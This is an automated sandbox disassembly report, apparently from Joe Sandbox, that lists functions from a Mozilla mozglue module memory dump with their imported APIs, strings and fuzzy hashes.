Opcode ID: 64ee0cf947a526c74daf6cc1c43d75a24e0799a406d2e00c74d61b02268f0e80
Instruction ID: 3da6dbfa74666776adbd6838d85cd4e25f41e7afa53b2dc6b6992e266835721b
Opcode Fuzzy Hash: 64ee0cf947a526c74daf6cc1c43d75a24e0799a406d2e00c74d61b02268f0e80
Instruction Fuzzy Hash: 47519171E005198FCF08CFA9CC55AAEBBB1FB85304F2A461DD811A7B61C7706E85CB94

Function 6C54CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C54CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C54CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C54CF4E

Strings

0, xrefs: 6C54CF30

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 81df22f1cc74c7449446ca0d0e21499f7e56c4beb17cba855d58d21774d51ccc
Instruction ID: 8d0cfa096a236477e1bc928472d4fb347b2e48eaf9ca253a171f4894d447e89c
Opcode Fuzzy Hash: 81df22f1cc74c7449446ca0d0e21499f7e56c4beb17cba855d58d21774d51ccc
Instruction Fuzzy Hash: D251F075A00216CFCB05CF19C890EAABBA5EF99300F19859DD8595F352D731BD0ACBE0

Function 6C5A77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5A77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C5A7829

Part of subcall function 6C57CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C5431A7), ref: 6C57CC45
Part of subcall function 6C57CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C5431A7), ref: 6C57CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C5A789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5A78CF

Part of subcall function 6C544DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C544E5A
Part of subcall function 6C544DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C544E97

Part of subcall function 6C544290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C583EBD,6C583EBD,00000000), ref: 6C5442A9

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: db1850fb424989284aac3a8650b7e565e13ae680107e9d0862ceb224df207330
Instruction ID: 1a4a9c1f985718c2dc3e1e6ef58394dedcbde56352c3b62f1a0ae110fa3d2788
Opcode Fuzzy Hash: db1850fb424989284aac3a8650b7e565e13ae680107e9d0862ceb224df207330
Instruction Fuzzy Hash: 83418071904B469BD300DF29C88056AFBF4FFCA254F604A1EE4A987640DB70D95ACB92

Function 6C586470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C5882BC,?,?), ref: 6C58649B

Part of subcall function 6C55CA10: malloc.MOZGLUE(?), ref: 6C55CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5864A9

Part of subcall function 6C57FA80: GetCurrentThreadId.KERNEL32 ref: 6C57FA8D
Part of subcall function 6C57FA80: AcquireSRWLockExclusive.KERNEL32(6C5CF448), ref: 6C57FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C58653F
free.MOZGLUE(?), ref: 6C58655A

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 517f7211bf8f343e798052af5497a74e1f3967dfd60d634b0e527a906978b3d0
Instruction ID: 3af11afcf15c4206c7bc96da570f3a5c732b1477c2137dcc41fc896cf27cade1
Opcode Fuzzy Hash: 517f7211bf8f343e798052af5497a74e1f3967dfd60d634b0e527a906978b3d0
Instruction Fuzzy Hash: B53170B5A04715AFCB00CF14D880A9ABBE4FFC8314F40442EE85A97741EB30E918CB92

Function 6C57FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C59D019,?,?,?,?,?,00000000,?,6C58DA31,00100000,?), ref: 6C57FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C59D019,?,?,?,?,?,00000000,?,6C58DA31,00100000,?,?), ref: 6C57FFF5
free.MOZGLUE(?,?,?,?,?,6C59D019,?,?,?,?,?,00000000,?,6C58DA31,00100000,?), ref: 6C58001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C59D019,?,?,?,?,?,00000000,?,6C58DA31,00100000,?,?), ref: 6C58002A

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 0c3941051f500d4f5f57367929a63e6f8e95c78c7a248ed6b82ada32ad2d9d8b
Instruction ID: 4117613a9e55f75b4fef32fa7ac48c61e96161a163d149b83d0e67085ac800ad
Opcode Fuzzy Hash: 0c3941051f500d4f5f57367929a63e6f8e95c78c7a248ed6b82ada32ad2d9d8b
Instruction Fuzzy Hash: 3821D6B2A002159BD718DE7C9C948AFB7BAEBC53247250739E425D7780EB70AD4187E1

Function 6C55B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C55B4F5
AcquireSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C55B502
ReleaseSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C55B542
free.MOZGLUE(?), ref: 6C55B578

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: b0350d5ef130a0398fbc8be667ede6e58ab3280ccd65273e31c36423248db033
Instruction ID: a2aae13e22d43148c0af14916b68115ad6af3fff34a4b6db8f0d98e8303077ed
Opcode Fuzzy Hash: b0350d5ef130a0398fbc8be667ede6e58ab3280ccd65273e31c36423248db033
Instruction Fuzzy Hash: 7511CD31A04F41C7D7119F29DC04761B3B0FF96319F91970EE84952A02FBB9B6D48795

Function 6C583DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C54F20E,?), ref: 6C583DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C54F20E,00000000,?), ref: 6C583DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C583E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C583E0E

Part of subcall function 6C57CC00: GetCurrentProcess.KERNEL32(?,?,6C5431A7), ref: 6C57CC0D
Part of subcall function 6C57CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C5431A7), ref: 6C57CC16

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 84b9016ebed23d51efa475b2df076d6da765a279a2f27247dad153accd0ec8cf
Instruction ID: 14ae434adbcee8213b6abced8e65249458ed72fbc13d5d61e5cadebd9e79b10b
Opcode Fuzzy Hash: 84b9016ebed23d51efa475b2df076d6da765a279a2f27247dad153accd0ec8cf
Instruction Fuzzy Hash: DFF01271500608BBD700AB54DC81DAB376DDB86624F050024FD0857741D735BE5586FB

Function 6C592050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C59205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C59201B,?,?,?,?,?,?,?,6C591F8F,?,?), ref: 6C592064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C59208E
free.MOZGLUE(?,?,?,00000000,?,6C59201B,?,?,?,?,?,?,?,6C591F8F,?,?), ref: 6C5920A3

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: b905ec5246171893e745a2383d459080723baa6c888c1a08125a94920571bbb6
Instruction ID: aececf5933ce5b1c3dd53e8de560a8a4698ec28244e4c501c377f6e0654bd041
Opcode Fuzzy Hash: b905ec5246171893e745a2383d459080723baa6c888c1a08125a94920571bbb6
Instruction Fuzzy Hash: F7F0B475100A00DBC7119F16DC8875BB7F8EF86324F11015EE54687B11C776A905CB9A

Function 6C5985B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C5985D3

Part of subcall function 6C55CA10: malloc.MOZGLUE(?), ref: 6C55CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C598725

Strings

map/set<T> too long, xrefs: 6C598720

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 2c42fd58e01db5d02b9f2dc8dfc2ac3828fccbab34701c5d25a9964b34b6eade
Instruction ID: 256861edc7a8b28a5ae702363f5b3054cd21b76877450e8dd3565d37b5d0b7ef
Opcode Fuzzy Hash: 2c42fd58e01db5d02b9f2dc8dfc2ac3828fccbab34701c5d25a9964b34b6eade
Instruction Fuzzy Hash: 2B515374600681CFD701CF18C884A5ABBF1BF9A318F18C19AD8599FB52C335E885CF92

Function 6C54BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C54BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C54BE8F

Strings

0, xrefs: 6C54BE5B

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 514e97580303d8dde361fd9422428552529104bf6f8a4b6e4987e5c7b9866e9b
Instruction ID: e9641bef86298fb4533f1ecc31b3062693b3cd28fefce94dc54cd18b65cfe3ee
Opcode Fuzzy Hash: 514e97580303d8dde361fd9422428552529104bf6f8a4b6e4987e5c7b9866e9b
Instruction Fuzzy Hash: CC418D71909B45CFC711DF28C881A9FBBF4AFCA348F008A5DF985A7611D73099598B82

Function 6C583CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C583D19
mozalloc_abort.MOZGLUE(?), ref: 6C583D6C

Strings

d, xrefs: 6C583D58

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 27e8989432b717caa617e5dad4ff33d9c5b071cca1f0d221fc83749415d80887
Instruction ID: 90de70ac0f3275579b6aaece101e604d2acd3fd36b338bffff2b3946dd502435
Opcode Fuzzy Hash: 27e8989432b717caa617e5dad4ff33d9c5b071cca1f0d221fc83749415d80887
Instruction Fuzzy Hash: 68112731E06A98D7DF05DB69CC144EEB775EF86358B45821CDC459B602FB30A9C4C394

Function 6C554730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5544B2,6C5CE21C,6C5CF7F8), ref: 6C55473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C55474A

Strings

GetNtLoaderAPI, xrefs: 6C554744

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 6e065d3bc16151b9fea8da8aa8762fc16d10ca89565ccb212ea5d0a3bd0f1a5e
Instruction ID: e31f8f9b92ecdaad1cfd5a1b1f49a8cc8101e1c1f652cec8a87ead5f89d53079
Opcode Fuzzy Hash: 6e065d3bc16151b9fea8da8aa8762fc16d10ca89565ccb212ea5d0a3bd0f1a5e
Instruction Fuzzy Hash: 5C015E753017589FDF00AFA68C8461E7BF9EB8B311B06446EE905C7700DB74E9128F9A

Function 6C5A6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C5A6E22
__Init_thread_footer.LIBCMT ref: 6C5A6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C5A6E1D

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 255271c4e518d61f489b552fd7c51aaf311c6e5ca748ba4276c5d2fc26e62de2
Instruction ID: 2a2262b28d5f7fe5c8bf8c7435b35ac2e31371329c69738faf8763f56884506c
Opcode Fuzzy Hash: 255271c4e518d61f489b552fd7c51aaf311c6e5ca748ba4276c5d2fc26e62de2
Instruction Fuzzy Hash: 0DF05931344740CBDB008BECCC50A8B33719343218F06236DC81546B51CB31BA8BCAA7

Function 6C559E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C559EEF

Strings

Infinity, xrefs: 6C559EB7
NaN, xrefs: 6C559EC1

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: a6149720190d4f2d5a84c0f151a3881bbacc8de30f6a3f4970b9966e3b07bebf
Instruction ID: 164554ef7080c429cf0f65b2b7e56f2f31f04503038ec559d48c07765c574b32
Opcode Fuzzy Hash: a6149720190d4f2d5a84c0f151a3881bbacc8de30f6a3f4970b9966e3b07bebf
Instruction Fuzzy Hash: B8F0C2B1700A41CBDB00CF58DC4578037B1B34332AF225B1DD5040AB40D739B79ACA9A

Function 6C556C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0KXl,?,6C584B30,80000000,?,6C584AB7,?,6C5443CF,?,6C5442D2), ref: 6C556C42

Part of subcall function 6C55CA10: malloc.MOZGLUE(?), ref: 6C55CA26

moz_xmalloc.MOZGLUE(0KXl,?,6C584B30,80000000,?,6C584AB7,?,6C5443CF,?,6C5442D2), ref: 6C556C58

Strings

0KXl, xrefs: 6C556C33, 6C556C41, 6C556C57

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0KXl
API String ID: 1967447596-2613493683
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 0b261d027772d2590d99eadeca1f0f58ea08f1c771497e72810bdf029004ad59
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 3CE086F1A107454ADB08D978DC0996A75C8CB793AA7844A37E822C6BC8FF54E970C151

Function 6C553850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C5CF860), ref: 6C55385C
ReleaseSRWLockExclusive.KERNEL32(6C5CF860,?), ref: 6C553871

Strings

,\l, xrefs: 6C55387A

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,\l
API String ID: 17069307-2981443652
Opcode ID: 1e630530edd5ef89b94604f4365919fe4896f7a3a32a206e9694d07de4681bc3
Instruction ID: b62e195a7920208f838681d08d8af4aecb0ac1cdf53ec8dfe542cf48f2cb862d
Opcode Fuzzy Hash: 1e630530edd5ef89b94604f4365919fe4896f7a3a32a206e9694d07de4681bc3
Instruction Fuzzy Hash: 5EE0DF32A02E18978701AFD68C0268A3BB8EE437A0306420EE40D27E00C771964086CA

Function 6C55BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C55BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C55BEF5

Strings

cryptbase.dll, xrefs: 6C55BEF0

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 481c703b4c15cce61ec650433e360c840a54cd0d1f671becd191af2abc4f3ff5
Instruction ID: c68f7d852e3bd44b39edd3b56ffd98f76c777d2966a3951c930ae3e69c913686
Opcode Fuzzy Hash: 481c703b4c15cce61ec650433e360c840a54cd0d1f671becd191af2abc4f3ff5
Instruction Fuzzy Hash: 36D023313C0508EBCB00BB908C0DF2537749701715F50C029F30544951C7F19520CF49

Function 6C59B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C59B2C9,?,?,?,6C59B127,?,?,?,?,?,?,?,?,?,6C59AE52), ref: 6C59B628

Part of subcall function 6C5990E0: free.MOZGLUE(?,00000000,?,?,6C59DEDB), ref: 6C5990FF
Part of subcall function 6C5990E0: free.MOZGLUE(?,00000000,?,?,6C59DEDB), ref: 6C599108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C59B2C9,?,?,?,6C59B127,?,?,?,?,?,?,?,?,?,6C59AE52), ref: 6C59B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C59B2C9,?,?,?,6C59B127,?,?,?,?,?,?,?,?,?,6C59AE52), ref: 6C59B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C59B127,?,?,?,?,?,?,?,?), ref: 6C59B74D

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
